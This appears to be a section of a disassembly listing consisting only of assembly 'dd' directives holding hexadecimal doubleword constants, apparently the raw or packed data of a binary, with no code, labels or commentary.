		dd 0C4D00D67h, 0CA7375A7h, 42B3DF06h, 7838E2BDh, 0CFDC14B2h
		dd 0E70668E1h, 50A7363Ch, 0AE00B579h, 0ACFBF1C8h, 28C3B78Bh
		dd 8C103AE7h, 174D0084h, 227FBBD7h, 75009F6Fh, 2CFB85CCh
		dd 7640FF5Dh, 42CD00F0h, 7C49E1D4h, 3200C375h, 8DBBDBF1h
		dd 0E4B8DCD0h, 1E4400D3h, 2C2553A5h, 0EE03837Ah, 0FFCBCC4Fh
		dd 0E8DDE8E1h, 406F0028h, 0B8B170A4h, 491F78ECh, 771D3D58h
		dd 5FB2C600h, 718FED3h,	0BCC1E430h, 0EA3710BAh,	76008FAAh
		dd 8E012E1Dh, 0DEFF13h,	73C1526Ah, 575CD79Dh, 0EE87B700h
		dd 8B0E4866h, 742B2E3Bh, 2AD900F4h, 153414CFh, 0FD08C207h
		dd 0A16FFE6h, 37070146h, 0A1DD3570h, 7865E073h,	40325400h
		dd 2F3DE045h
		dd 7F94A8D4h, 13E0A83Fh, 0ED20044h, 1DF3B3ACh, 9F0142B9h
		dd 0AD738A14h, 7BFCA0EFh, 0DE40050h, 2C946599h,	0A2744A42h
		dd 5E02F0F0h, 0A65F5AF7h, 44C8A037h, 8ACF7Dh, 2994470Ch
		dd 0BA7F20D8h, 0DC099678h, 23A6BBE4h, 0C18C2E14h, 1180A4B6h
		dd 6E663140h, 6300ED05h, 36EC104Bh, 0C592718h, 0D0C85FF0h
		dd 9207A5C1h, 2BBB2AFh,	0FF10DF21h, 7EEBE70h, 0E3F93108h
		dd 947DA39Eh, 61C8D7B0h, 0BADA39C2h, 27F3832Eh,	0C62DE869h
		dd 0B85CECAAh, 0FFC50064h, 0FADF591h, 0DF00184Dh, 27190316h
		dd 2437CE24h, 8090BAC8h, 0DC9B48A8h, 7B00DAF3h,	538D5F59h
		dd 0E2230F32h, 5FC038Ah, 31E1BB33h, 4122C000h, 0C6F6DE4Bh
		dd 206B12D8h, 0BC910C06h, 0C1007151h, 6FE5F344h, 0CA9C2Ah
		dd 2FA38DCEh, 0A235AF18h, 15B32200h, 99F041E8h,	9B0601E7h
		dd 981CD30Eh, 0B7A053AAh, 0DB2B69C0h, 0BE0611Fh, 63EE3B40h
		dd 0C1C8D42Ch, 0CFB87989h, 36884865h, 30ED9401h, 0F3B04B91h
		dd 1F1C3E0h, 18C74CF6h,	50420531h, 0EDA4697Ch, 0F2011B01h
		dd 5EC25FD2h, 2C807D8h,	65AB11AFh, 4484E61h, 0E7031252h
		dd 203214D3h, 77800E86h, 7C80ACFEh, 0AF283805h,	0AE22CD18h
		dd 39335C1h, 41CCD2A5h,	77D047F6h, 0A86F9778h, 3E344021h
		dd 0AB73ACh, 16D86039h,	0BBE12964h, 0CFA7040Dh,	36F8A9B9h
		dd 0A2C400CAh, 6853F731h, 8B00A61Dh, 4427AEFAh,	7FB6096Dh
		dd 5CA748D3h, 51AB7E80h, 0ED0DF052h, 0C058E123h, 907C7D30h
		dd 11F47974h, 44AC33h, 0CC6DF304h, 474C405h, 7F260C02h
		dd 10AC90E2h, 0D71CAA90h, 27C88EFh, 86AC870Ah, 5D8480C5h
		dd 0B8E7C4h, 91320619h,	0D01341EAh, 943E943Ch, 3FF4E94Ah
		dd 90DF00C9h, 8A449BB6h, 0A06340CFh, 21EBF21Fh,	0DDE9D7C0h
		dd 1916D0Ah, 1A268C94h,	83CC2D3Eh, 19635B29h, 99C46067h
		dd 0CE9BBA2Fh, 3FFEC31Fh, 6A19E118h, 2B9C1F1Ch,	0C9185E4Bh
		dd 0CC10229Eh, 8F2CD8AAh, 3B3ED4D2h, 39AD802Dh,	0CE628EFh
		dd 30D2AEh, 59127C67h, 4C31A9A0h, 66A659D6h, 26809855h
		dd 0EBC07Dh, 52E6A94Bh,	0BFAF3F24h, 9386270Eh, 6F2623E1h
		dd 0D05000BAh, 8C135D14h, 0E90147C1h, 5E40503Dh, 2032C3E4h
		dd 8EA411Eh, 0B380A5B5h, 0F198196Fh, 4B10C0C8h,	0B6584159h
		dd 9640101h, 0D18C76EBh, 5B037E8Ch, 84ABA0h, 20176369h
		dd 0D7229F89h, 0DC01F100h, 4419147h, 0B899763Ch, 54BCE262h
		dd 114B068h, 0BAEC2661h, 0F017FC65h, 0AD61C9E4h, 7A4CAB91h
		dd 0C1F88450h, 959588Bh, 75A48050h, 1E34008Ah, 0E4F015BBh
		dd 39C73CC2h, 5805211h,	0C0497FE9h, 6863A141h, 7E00E597h
		dd 0BE59CB25h, 1D695376h, 88426ABh, 0C380A221h,	0E0B17C03h
		dd 70CB6EF6h, 0BB5B1A22h, 0D10CD042h, 2E014728h, 0AB015F5Ch
		dd 7D203C35h, 7173607Eh, 74189A03h, 1B846E00h, 97CB022Eh
		dd 19F6003Bh, 3E0EB9B0h, 0A081D02Ah, 14089020h,	9043D323h
		dd 6537CE22h, 8A8F51F7h, 6C8E0C2Eh, 0F9EF2040h,	14C079Bh
		dd 0FDF38DA4h, 22D93D85h, 41760160h, 48E2D6CEh,	0F18FC8BFh
		dd 770CAB10h, 0BC2AE459h, 0E7F8F8F8h, 223C39D4h, 0C06EC044h
		dd 9F641B99h, 1D9B3900h, 0E18C31E7h, 9997E463h,	91E802A0h
		dd 80552911h, 82BDE6CEh, 37180150h, 2F3C593Eh, 64604167h
		dd 0C61803Bh, 9BF6F01Dh, 0C30B811h, 467F6674h, 1000EE89h
		dd 0A1DCB260h, 1E0ED26h, 1B2EF0A5h, 20D4FE07h, 7F319EF4h
		dd 0FA97316Eh, 8617E0FBh, 0D8D5007Eh, 6DDDC89Fh, 0A9121827h
		dd 0CC2097BDh, 3D67F33h, 1F0F7CD4h, 0FCD85C81h,	0B0A02C32h
		dd 0E451AB51h, 22CFD544h, 0E1120094h, 3218B93Bh, 0A0A45EC5h
		dd 0BFFC3582h, 3F146F00h, 0A9D3835Bh, 60914Eh, 9FED76F9h
		dd 0B95CA618h, 0E60302C6h, 0C00B08F0h, 214E9F0h, 8692AEF2h
		dd 2A42EA9Bh, 0CBAF902Eh, 7837B700h, 0F10A42BEh, 0A0E90F92h
		dd 634F5740h, 0F08B58DCh, 8C8039C9h, 0B04811DAh, 0C668470Dh
		dd 8333140h, 0EC55007Dh, 4C542DE6h, 449039E4h, 9722240Eh
		dd 29596C8Ch, 1FB938ACh, 6286C980h, 3FFCAD1Dh, 39B16604h
		dd 0F08044F9h, 18B4B2DEh, 6971CB65h, 48A02B3Dh,	380A6C2Fh
		dd 6CACBB8Ah, 2ED5700h,	4078BCh, 47BAAE87h, 0C952B211h
		dd 82396460h, 96143Bh, 0E416A5D7h, 0BFA760EAh, 4C946604h
		dd 0C0C94BAAh, 12006C26h, 4736B635h, 6500F8EFh,	0AFDB1DEEh
		dd 2EBA92D4h, 3C4A124h,	722F111Fh, 20469892h, 2612F8EAh
		dd 4B00C40Dh, 88E38767h, 7D7E3AC3h, 3C50D302h, 0CC668CDAh
		dd 49027A00h, 0BF43B573h, 3BE400D3h, 0BAF50BE9h, 0EA0BA872h
		dd 47A183Eh, 1A476140h,	0B55BD078h, 8B004B54h, 694D99A5h
		dd 3D3863F9h, 0A08AA693h, 3D4C83B9h, 815DEC1Eh,	0E904060Ah
		dd 0E7B9D09Ch, 110F0200h, 0CBDA2EF3h, 0DB190224h, 215FBAC7h
		dd 5DEAFD63h, 0B0B100C0h, 0AF8C4662h, 0D0F46008h, 52920998h
		dd 94981130h, 0CE00F8D7h, 0BFB54DC8h, 1E46486Bh, 5F7F1DBCh
		dd 0FC2000DEh, 1C5EEAAEh, 4734C603h, 729527AFh,	44B5049Ch
		dd 0C08E2D18h, 0D03181C0h, 0C7363200h, 66BD1289h, 0BE6D2ECCh
		dd 0AF110093h, 10C41F0h, 97E74C16h, 9CDE3C21h, 135BF520h
		dd 20B8E467h, 9B3812CCh, 35A9D004h, 88CD3E07h, 0DF00A447h
		dd 5D79AE7Ch, 3A2500F7h, 6BE4D410h, 3B430A00h, 2803A5BCh
		dd 0AB070E37h, 74E09FACh, 0CAB57E1Ah, 2CB990B8h, 8A764801h
		dd 0FFDC8513h, 0F36F1C92h, 722C124h, 0FC045986h, 793AD4ADh
		dd 206A044Fh, 9C882318h, 0FDE0007Bh, 11B9FB8Eh,	8607EECCh
		dd 0BF75E16Ch, 773DCEF0h, 0B1A126BDh, 7B481188h, 1997D21Ch
		dd 0A8A6D940h, 0C05FCFBAh, 214AC0E9h, 8900B464h, 8711CE2h
		dd 3067F933h, 0BA41493Dh, 600079Ah, 0BE49853h, 89D6253Eh
		dd 0CAD98082h, 9A87521Dh, 9C18008Fh, 0C4CFEA21h, 0FA4AC7A5h
		dd 689E9000h, 0EBA7D981h, 0C0F01080h, 0CFDB2387h, 5E52B02h
		dd 64E8F9D7h, 948E002Ch, 36151B90h, 0ADF84CD6h,	1295E608h
		dd 45FE0054h, 2DB30D69h, 79A68F18h, 0E19D39h, 81823466h
		dd 3BC2D8A3h, 0AF00257Eh, 11E6C970h, 5CE45496h,	0E1DE0CBBh
		dd 2480F61Dh, 278AB9CFh, 31380082h, 3E18D6A3h, 0F9D0C926h
		dd 0AF231884h, 4F4441h,	6558A335h, 6026A4E5h, 0B4A1FF29h
		dd 8358F80h, 1A2949h, 0E77EFA51h, 0E0C6D918h, 1DA9AC00h
		dd 5E26A7A2h, 0E310C6AAh, 0A631914Ch, 4E32D96Ch, 3E87BEE9h
		dd 307C3490h, 0C69814B6h, 7353DB00h, 73F16DFh, 0E4D7130Ah
		dd 406020BEh, 0AC946068h, 10233D8Bh, 0EDF09Ch, 0FC077742h
		dd 6DCDF173h, 8C2252h, 3AF8B708h, 98ABA3h, 172C07C1h, 0C6912719h
		dd 0E4420E04h, 18B49796h, 1F3A00ECh, 0D089148Bh, 0A0070327h
		dd 1ADE189Eh, 21E400D9h, 1EE30DE5h, 6BC9A4Ah, 9942AB75h
		dd 0E6018D03h, 9AE8D0BFh, 745C40A4h, 0B34B8B4h,	0C8ED626Eh
		dd 8EF8F490h, 7859760Eh, 0E4BD80B2h, 32DD094Eh,	7268E256h
		dd 0E6C154E0h, 0DF190B00h, 0E4C4448Bh, 0DAFB011Ch, 0F53D5339h
		dd 12862C1h, 0E148E00Ah, 7883E9B7h, 18A46D25h, 246634CAh
		dd 0D5039A7Ah, 0E4ECF52Eh, 6365F90Dh, 0DA00B422h, 41F1A970h
		dd 1898EA9Fh, 0F7011DE8h, 0B8EEDDAFh, 5ED0FA0Dh, 2907828h
		dd 77C11141h, 6460B936h, 0A8A30294h, 0C724F819h, 48628299h
		dd 4D43EA01h, 38B6317Dh, 11188018h, 1B49CDDh, 5BEDE942h
		dd 60D41315h
		dd 694CD59Fh, 8575C058h, 3D7180h, 4431B9D8h, 83B2D4E6h
		dd 0AFE34F00h, 16261FEDh, 38C101FCh, 2B3E1274h,	0EA6997D2h
		dd 53D9E030h, 0B93400ADh, 0ED4931F4h, 604A657Fh, 2DAF6440h
		dd 5497AB1Fh, 69CF3h, 71590724h, 0EC748CD7h, 0DF5E6100h
		dd 0D1257F99h, 92C11EA2h, 0A1D54214h, 5CA06302h, 85A9A7D2h
		dd 0CE8B3400h, 0E6C84BAEh, 45E100BCh, 46FD1841h, 0A63065EBh
		dd 7CFAA14Ah, 0B4081C78h, 0B3A040A9h, 32AA246Ch, 0E582500h
		dd 1B95D280h, 69C7A13h,	81468F77h, 731D71BDh, 1E03CC45h
		dd 0D83D316Ah, 24CDEFBh, 0F13CD10h, 7051B7E2h, 0E0523E62h
		dd 4D972DE4h, 0A8031435h, 7094E6C4h, 6E452C88h,	3672E700h
		dd 79094427h, 0F1AB3EFEh, 7F021C5Ch, 0E4BEC8E6h, 0D09DE000h
		dd 7DD7B2Ah, 3A66DB9Ah,	8927185h, 0DCEE497h, 0E719820Eh
		dd 600C80E5h, 1370775h,	8A74502h, 22B6E212h, 40C92C5Ch
		dd 60C47342h, 8E8198h, 0CFBE0372h, 2350AD62h, 0D2FE6B7Dh
		dd 0F01EF17Fh, 106653F8h, 7FCEB004h, 1C4890C8h,	0E437F686h
		dd 3B5C09B4h, 836A9804h, 4088E788h, 1503C4EDh, 0E8AB515Ah
		dd 0D03948DBh, 8F4ECEC0h, 0AE003719h, 2905930Ch, 192866Ch
		dd 0F01C87BFh, 43A79C8Ch, 12806718h, 9F001F6Bh,	5785C5FAh
		dd 3F61805h, 5FE2213Eh,	0AFA7B296h, 0A4F76504h,	1876BA08h
		dd 93007290h, 11976A07h, 7C696138h, 0F13406AAh,	0A1707FEAh
		dd 0F0DE980Ch, 0ADD222h, 75E41C82h, 4A5A97F6h, 81B6230Bh
		dd 473C0061h, 0B1A67E1Eh, 9E803F54h, 4CF25F21h,	0DA0214C5h
		dd 0B984CC61h, 124E0EDh, 0C19901D8h, 0ABE762A3h, 261DC495h
		dd 4EB0A498h, 0CDC95412h, 0B4372440h, 60E944h, 15B24686h
		dd 0E4AA876Dh, 5E000499h, 92138C2Ch, 2F980336h,	3E04685h
		dd 87FE0BC0h, 34DA7205h, 8420A652h, 0F5AA15h, 77DB7DC4h
		dd 6FDA3DE7h, 0FF2080B0h, 820211C8h, 0EA0D006Eh, 0B4DF2AE2h
		dd 41290008h, 695B3945h, 8A3E3493h, 0F1BF0271h,	5184A2EDh
		dd 54B20574h, 0C99CA655h, 1146823h, 0ECFE002Bh,	9C9BCB5Bh
		dd 0F800EF56h, 0C118C5D9h, 42A91CFh, 68485444h,	0BA4CB461h
		dd 63EA4702h, 5A84D9FFh, 0A58C00A4h, 6BF94236h,	2209CD66h
		dd 0C88231F2h, 0D3D048h, 2E30A8B5h, 86B8A55Ch, 0AC114408h
		dd 406E8735h, 0A12900D4h, 0CCA01C99h, 61B0B072h, 0E8787F00h
		dd 9669A425h, 713CBA85h, 5CAC583Fh, 9C012880h, 816E718h
		dd 0A0888852h, 70F001Eh, 0EB3F965Dh, 742D346Bh,	15A08792h
		dd 0E213BF10h, 80D4B1B8h, 9F822F4Ah, 0F100B5D0h, 0CF3F0738h
		dd 2D5F2CEEh, 3825273Ch, 0CFE88C65h, 0E62BCD06h, 16A0B1F3h
		dd 584F12Fh, 0A4823D40h, 0A3008F34h, 3937182Eh,	0B0B63511h
		dd 5C617943h, 0DD806498h, 392F6541h, 3DCF1609h,	0F60099Fh
		dd 3A6166F7h, 85C0C071h, 0E19FC278h, 12B44849h,	0A0D8DC57h
		dd 411384BBh, 3CC8EF68h, 1862422Dh, 4B594FFCh, 0D9D0DDAh
		dd 0C0781E18h, 5C9C972Fh, 20C44140h, 0ACFB166Dh, 77F0025Ch
		dd 0F0438EBBh, 293DA687h, 161D3B7Eh, 39C9F985h,	527A8084h
		dd 7DAAD415h, 36982683h, 0D6AF80D0h, 0E5E98B7Bh, 0DF5B4800h
		dd 15B9C5ACh, 500B3AF7h, 0BAB0DB01h, 204935A9h,	3E007D9Ch
		dd 0E8E7DD08h, 185206Eh, 0CAE1954Eh, 0D49A4463h, 714B3D35h
		dd 0EBF92420h, 8B381E67h, 0A7B0C9ECh, 5FAC68C8h, 0EE0080E4h
		dd 55092365h, 0B1B142BFh, 7FA3809Ch, 25AA8826h,	0C5D8900h
		dd 0AB665EA8h, 7E93039Fh, 0BE4453E5h, 508F188h,	0C5EAD500h
		dd 40B46007h, 8BA4837h,	1F16F605h, 12DC123Fh, 55103AAh
		dd 64F9EB8Ch, 18B04860h, 0B6BD900h, 5B3738D0h, 0EF460094h
		dd 0CF481F5Eh, 42483108h, 5D261D50h, 4053AA02h,	40F868h
		dd 0F92E8732h, 4E7C9A49h, 0CB5912Ch, 0E4B37D09h, 89A73D90h
		dd 918AD080h, 9F5D358Dh, 0BC21493Fh, 4054840Fh,	0F888A6E9h
		dd 0B4BA007Bh, 4A477E39h, 1B01B8A1h, 0F7AF6F25h, 2822FA64h
		dd 0B090B025h, 3001819Ah, 796D16F5h, 53D41B85h,	0B75B1F8Ch
		dd 6780F9BEh, 4F2FC7CEh, 5EEEF80Ah, 0CCDF38A0h,	348FECA0h
		dd 92B0F05h, 0CC88289h,	534E00BEh, 85DC75BCh, 4165145h
		dd 7C027147h, 461707E9h, 157000A4h, 904CF357h, 0CF4C9DBEh
		dd 603A8FF0h, 9EBCC820h, 4844B00Ch, 8F2C2C36h, 417A80A4h
		dd 0A7250D0Fh, 8180089Eh, 0E19985BCh, 723400F3h, 70455B78h
		dd 0E800BD44h, 4C23B559h, 39FBACCh, 0C2F4ACE7h,	0CE8AAFA3h
		dd 48071452h, 0B4FAF5BFh, 61A878F0h, 2B11022Fh,	0CF7377E8h
		dd 6A008452h, 0FEFCBB20h, 96223DA4h, 17148014h,	0AA6A2D19h
		dd 8C6DF7h, 4CBE7912h, 209E15Bh, 0A32F18A8h, 1C40F5B4h
		dd 0C825CD26h, 0A92890B1h, 8EA7001Ah, 2B939004h, 905259Ch
		dd 0A0E2BE26h, 3ED79CCCh, 8400FCA9h, 0B505DEFFh, 1F0095CDh
		dd 1307E108h, 0B9ABCB42h, 90620010h, 3155BA53h,	248E0607h
		dd 6A102688h, 1CFE8B08h, 68B3DF04h, 187500B0h, 3BE9F6AEh
		dd 3EE4E8DAh, 952EA760h, 0D2D7203Dh, 5F9C30F1h,	0FF21DB0h
		dd 0AB7170F5h, 0E0F07B02h, 80CFBA30h, 58590E18h, 0AF480EF4h
		dd 63A0C287h, 35948B3Ch, 0E86DC70Bh, 1B94A7B0h,	0BD222650h
		dd 0BECBCA5h, 5048CFA7h, 91D191Dh, 89FDD85Ch, 60CBF7B3h
		dd 0CF3FAC9Ch, 972022F1h, 0B2DDE5F5h, 0D5018C1Fh, 1D5D329Eh
		dd 0CFB8A243h, 0E85100CBh, 0C20B94D0h, 0DA043E01h, 9C476372h
		dd 2000B0A2h, 265B2A70h, 0A900B971h, 68291227h,	38F730h
		dd 4E23C40h, 0C8F60618h, 183689Ch, 983AAE6Ah, 365B81Fh
		dd 0BA2B0851h, 2D98D3E1h, 0AF12AA8Dh, 4CE4E7A9h, 0B3061241h
		dd 3C0808E1h, 10CCC781h, 3828A38Ah, 0B2185D05h,	0BA100097h
		dd 178A62FBh, 49858430h, 7F8E0C5h, 0DD070149h, 7897F09Dh
		dd 0EB741C9Eh, 0C6CBD377h, 4428E4E2h, 0A679FE40h, 485D4200h
		dd 4B11CF60h, 0D0830B97h, 5C108144h, 35B0C576h,	0B9D85000h
		dd 9D05E219h, 89405F0h,	80C2E7D9h, 81FBEAFEh, 0E9A4E000h
		dd 34261018h, 1731EAAFh, 0CBAA3E5Bh, 0C21000B8h, 0C562DBFDh
		dd 8E8F0769h, 21764331h, 2B91FA20h, 0AB53A041h,	4181E0E5h
		dd 7F3105E4h, 0A211804Bh, 7BBF2CECh, 56A500A9h,	7AF0FC5Eh
		dd 0C0B072C8h, 0B63E344h, 69BA2326h, 0A9A8DC10h, 0B2D41D12h
		dd 98093C13h, 14122Eh, 49F20BC0h, 989F6ADh, 37216596h
		dd 4824C820h, 7203F797h, 89AAF9B5h, 9DF8C02Ah, 0B1651E54h
		dd 0ECC941DDh, 68B3111Eh, 0C51773D8h, 70641776h, 0FF5E54C0h
		dd 42BB0061h, 0E5199410h, 78B2FDC3h, 0A4E44013h, 4C400437h
		dd 663F28h, 4EEB4386h, 2CCC2B1Fh, 0FB005F98h, 13E8E94h
		dd 5067AC35h, 88DE808Bh, 0E605CF36h, 5E7AB839h,	7B88E000h
		dd 5DDB4Ah, 95F1FD2h, 60AA27CEh, 5B002BB8h, 8D73F47h, 230F042h
		dd 0A0E9766Eh, 6C60AD17h, 0BE380148h, 0FB7385E8h, 9880E2FDh
		dd 4C3DA256h, 35809428h, 0C18A70AAh, 1016652Dh,	728AE00h
		dd 0A21E79A6h, 0E761029Ch, 17CD84E1h, 29B7E570h, 802428E8h
		dd 0A1333BD0h, 0B416D1Ch, 0A884F014h, 64F641AEh, 0A1105963h
		dd 250D3218h, 514EAB0Fh, 140050F2h, 0E497C220h,	0EAFD8180h
		dd 0F100776Dh, 1FC7D53Ah, 0E910775h, 476CB082h,	1DE03EEAh
		dd 11F2C071h, 594F40E7h, 80717E0h, 44A72821h, 0CDDA2FC0h
		dd 80249993h, 0DB070F9Eh, 38F06EF5h, 807D143Fh,	2C9F9495h
		dd 4CC7F3h
		dd 0B2B41548h, 90C68227h, 3F189D0Fh, 834BA7CFh,	53EA7C40h
		dd 48B148C2h, 0F95B2100h, 8DD23E15h, 0A9AB8E04h, 28A9E4DFh
		dd 7AA5C5C0h, 0C800D874h, 168B4CD4h, 1398DBAh, 2A9465D5h
		dd 8C75E4AAh, 0D82E0839h, 0D7263A0Bh, 54039D00h, 233E2A1Bh
		dd 0D341F0B4h, 0A020CA0Dh, 5F4678A1h, 2D742036h, 4D1367C1h
		dd 82AB255Bh, 0ECE4A617h, 0F1E1C600h, 7D93C65h,	0BFEC061Ah
		dd 2138A66Ah, 30AA7402h, 468DE865h, 0EA1E0ECh, 0C7C1A687h
		dd 0F608EB80h, 780984D9h, 0E4EA329Ch, 643B0070h, 44439179h
		dd 78384540h, 4FC00092h, 0C2B9DACh, 0DC4B12BDh,	0F9E50097h
		dd 0AF68C1DBh, 0F009ACF4h, 7ACF4608h, 538C0020h, 980D32CEh
		dd 0FFE827CCh, 0EB706C00h, 0E8B92ED3h, 0B80E3A35h, 0E2CCA302h
		dd 1C56FE19h, 422794C0h, 4C530034h, 0DE173111h,	0A50C1DAAh
		dd 69BC233Dh, 80C8967Fh, 6F0B7BC0h, 46005DC6h, 7E8D8986h
		dd 24BA44AEh, 208A0D2h,	0B0101488h, 5ACDE460h, 1E0C3797h
		dd 0ABFC8AADh, 2BB340BCh, 0D00BE1Eh, 31611116h,	0A13D65E1h
		dd 0A8F3BA10h, 5047AFC9h, 0DDD24Ah, 2719295Fh, 0F6431721h
		dd 86B2E650h, 0B4E41116h, 0C6FDDC30h, 93F80112h, 0A3AEA74Eh
		dd 202E41h, 38B5E68Eh, 8804933h, 4DE41019h, 0E70418A0h
		dd 81F66C7Dh, 468E4h, 52810C7h,	0C351ADD6h, 1576F100h
		dd 640282F6h, 4001036Fh, 0F5AEE6E1h, 0E2C69698h, 0A1472D18h
		dd 16DCA650h, 430E17Bh,	0B0DB1F4Ch, 840968D8h, 99E0E7AAh
		dd 5EC83810h, 7192010Eh, 1F205236h, 750030E7h, 1CBDE426h
		dd 3EE94040h, 80709497h, 0A661A894h, 690070DAh,	0C23847A3h
		dd 61145676h, 962170C1h, 3F82F0BFh, 722C7888h, 364D004Eh
		dd 1DD13415h, 0CE00E056h, 7305A516h, 2A28AD3Ah,	5CC8B5E5h
		dd 3100925Ah, 0B06E1CD5h, 7F0668EFh, 1DD894B6h,	7CF408h
		dd 99FD5BDDh, 2F51A96Eh, 61BDD11Dh, 0B4D02B46h,	0B0320F31h
		dd 0B000AF3h, 4897454Eh, 12A79F1Ch, 503F7DC0h, 44F6B79Eh
		dd 0ED0622B2h, 14D8A596h, 7BD1C69h, 1CDE802Fh, 11FAFE0Ah
		dd 243DF400h, 1E2E909h,	0B7A6307Eh, 0C1A53040h,	71FA5707h
		dd 2BF0F052h, 755548C7h, 0B697030Ch, 83C21A90h,	0F4143100h
		dd 3752ECA0h, 0F8F241h,	4397E906h, 77E016A6h, 0B099CC67h
		dd 0BBD1A65Fh, 130E0111h, 0DCEA5CB8h, 0FBD8CF0Dh, 3D039C07h
		dd 3D183D4h, 0FE28017Eh, 9DA48434h, 6D75CCE1h, 0E96A5A00h
		dd 0BBAD8E73h, 0C5041CA6h, 0B5340D0Dh, 4BC06E68h, 88F7F3h
		dd 0E214B7E9h, 19AE6543h, 2122A8C1h, 48C828E6h,	113E0664h
		dd 71012BB7h, 0EE413107h, 7AE30B2Fh, 8DE9007Ch,	0F028420Dh
		dd 0A00FAD47h, 0D873DF88h, 0E1D570h, 6EB9E043h,	8A5F3FFCh
		dd 2A363A01h, 7E816630h, 75E5CEC8h, 517560CDh, 0EDC8FA56h
		dd 0D8304E01h, 853E77D0h, 22EA00F2h, 8D01E2DFh,	64083B31h
		dd 19E552E5h, 348021BFh, 0F24881DAh, 4A304020h,	0D7D6D8A6h
		dd 0E06EEB66h, 967C8054h, 18327718h, 0A84F3439h, 0B3F290h
		dd 0C608E8F0h, 59319FB8h, 6D1B7407h, 0F410E4B9h, 73BC727Dh
		dd 0FD390E36h, 0EAE089B0h, 0BA3C1D95h, 0E2770E00h, 862A143Eh
		dd 7E793010h, 7C61CFD9h, 9B38921Ch, 1FE70140h, 1E5C9A2h
		dd 54CBA5A6h, 801E37E0h, 0CFD68F89h, 3D1A46B6h,	0C45651F9h
		dd 0BF201300h, 9878A5Ah, 0C08F9801h, 77969DA6h,	0A01FEAC4h
		dd 807FB8DCh, 0B36C97BBh, 33AF9859h, 8D11B434h,	0A43A37E8h
		dd 443F610Eh, 38FCC114h, 0B9807D79h, 0AB9C97CDh, 2A00F303h
		dd 0C999CB27h, 54DFBC9Ah, 782CA017h, 30B812DEh,	6F1C0010h
		dd 92E87238h, 6B906D0Fh, 0F94C40E7h, 0F082C7Bh,	762405D0h
		dd 0C044FA54h, 0DBC18846h, 0F8AF8E18h, 1FD2F006h, 40B1F62Bh
		dd 3278B736h, 5C24D773h, 9C0354BFh, 6E92C97h, 0FFBB8B70h
		dd 7D0149B1h, 1017A314h, 0A1F0796Ah, 0FA96E0B5h, 903D5052h
		dd 0A84754F8h, 0C91B60D9h, 0E8AD1209h, 0A7003590h, 1EFE9CE4h
		dd 33F1D08h, 2F87EF6Dh,	10005815h, 1BEABB60h, 2544341h
		dd 9FAFAB67h, 9CA0777Eh, 0CFF1621Dh, 85E0400h, 53C7CEA7h
		dd 0E1BF1507h, 0F3001437h, 0BD84B352h, 55032303h, 685A27ACh
		dd 0E9108881h, 1E400ECh, 0BC7C65A7h, 0B354EFB4h, 11301AECh
		dd 0B72BC688h, 220CA0F5h, 85D9009Ch, 36DBA23Bh,	8CE8A5A1h
		dd 7822F5h, 0C1FC8FD4h,	3DC428A6h, 0F700A547h, 4B14D151h
		dd 3205E38Ch, 0AEFFB903h, 7F58A851h, 5C1C7400h,	0A8ADDFCBh
		dd 1A7C51h, 59BE585Ah, 9F345B3Ch, 306E1003h, 9B770135h
		dd 30797B81h, 0DC49717Eh, 8671BB30h, 0ADD8FB17h, 73D2BA00h
		dd 9394B9EEh, 0F51658h,	7ABB4318h, 613B462Ch, 77EC486Eh
		dd 2123F901h, 6DC86B9Ch, 77392880h, 0C25E3D0Bh,	0BE0006F8h
		dd 0EAE7869Fh, 0C04803B9h, 0BA186359h, 11C5A996h, 0C823A079h
		dd 9C5A007Dh, 7EE38940h, 3103A36Ah, 67BE13D3h, 50AA8870h
		dd 204649D1h, 0DE08A600h, 0E323A9F0h, 726D8D01h, 5B4E7A45h
		dd 701FB4C8h, 8861B0E5h, 11C3ED0h, 0EDAE306Ah, 0D5E37B8Bh
		dd 0DCD08383h, 0ABC40727h, 6990058h, 43D84D81h,	7D0F8DBCh
		dd 20275101h, 4AE9154Ch, 0BAC10A58h, 11641D03h,	4CE21D84h
		dd 0D2CF4743h, 0F1C4B817h, 91710782h, 30E1D9EEh, 0A4A6FFDCh
		dd 7BA4CA48h, 5BC03A00h, 64393F4Ch, 48574C11h, 264886C0h
		dd 0EE0E01A1h, 61142008h, 0E96F80ECh, 8F070433h, 0D0B5114Eh
		dd 9FE041D6h, 0BB0C20B3h, 17F299Ah, 87C23631h, 0D957BD81h
		dd 0EA198012h, 0AA867B5Eh, 0B5CA488Ch, 1FAC6C0Fh, 0CE21E580h
		dd 3FEC9D72h, 0B5447890h, 50D213BBh, 0D90800E1h, 0C21D0189h
		dd 9847254h, 0FC0FCDF4h, 65D45932h, 0E700194Eh,	0C2E928BAh
		dd 0E8520048h, 0D1EA9771h, 12B86CC5h, 2D5ECB12h, 3D599C00h
		dd 983D7h, 553A45BCh, 3B4CD58h,	404B893h, 811E187Dh, 0C332CCC2h
		dd 2BB4C4CEh, 0A829B065h, 3FD882AFh, 4C7068C6h,	0B4B18D0Fh
		dd 3F2958F0h, 80C09943h, 0DD4F8EAh, 900097ADh, 0D21001E7h
		dd 930CBB8h, 6094E212h,	31A20CDFh, 0CFA7Eh, 0F44F7514h
		dd 0AA3A5263h, 411FCC00h, 0B335946Eh, 67B772FAh, 0A43E714Ch
		dd 0DCA89116h, 812E600Ah, 9F591D00h, 0CEBD4614h, 0A8610A36h
		dd 94D44D37h, 3316F72Dh, 0D4781C47h, 0A201AB87h, 0E4F9C9C0h
		dd 8F2BC85Bh, 0A56B3600h, 671AF0EAh, 0F7B428AEh, 0D7310074h
		dd 6F23981Bh, 0D5000915h, 3751363Bh, 91D69B13h,	7CC8802Ch
		dd 7055970Ch, 2A0B3902h, 923377EEh, 6DFC80A4h, 0C99044h
		dd 4769AAACh, 0F9D7E452h, 30E72B2Ch, 0DF217D60h, 0D02A00FBh
		dd 821C1947h, 8800DD68h, 0C16F949Fh, 76603C7h, 1AA82B43h
		dd 0BAACDA34h, 0FE694854h, 0E45A0039h, 0A568D28Eh, 93006167h
		dd 0AEE781C7h, 4E9189Ch, 0F4F522C5h, 4238A4DEh,	0DBBABB00h
		dd 5E462656h, 44EC5CFCh, 9F097E22h, 8434E911h, 1154AB94h
		dd 27291C0Eh, 0BED0800h, 0D800B868h, 0CCA6CD67h, 6034230Fh
		dd 91A4E143h, 212C8D41h, 32005C65h, 16F4C281h, 1EC051Ch
		dd 0C7597013h, 0B7867384h, 1BD888E8h, 0EA9A908Bh, 0F602000Ch
		dd 7B1CE50Bh, 0A4035F2Bh, 0FEBB8ADBh, 2069504Ah, 1DB9D608h
		dd 0E2E2230h, 1C122888h, 877B2844h, 22B450C2h, 4409B7h
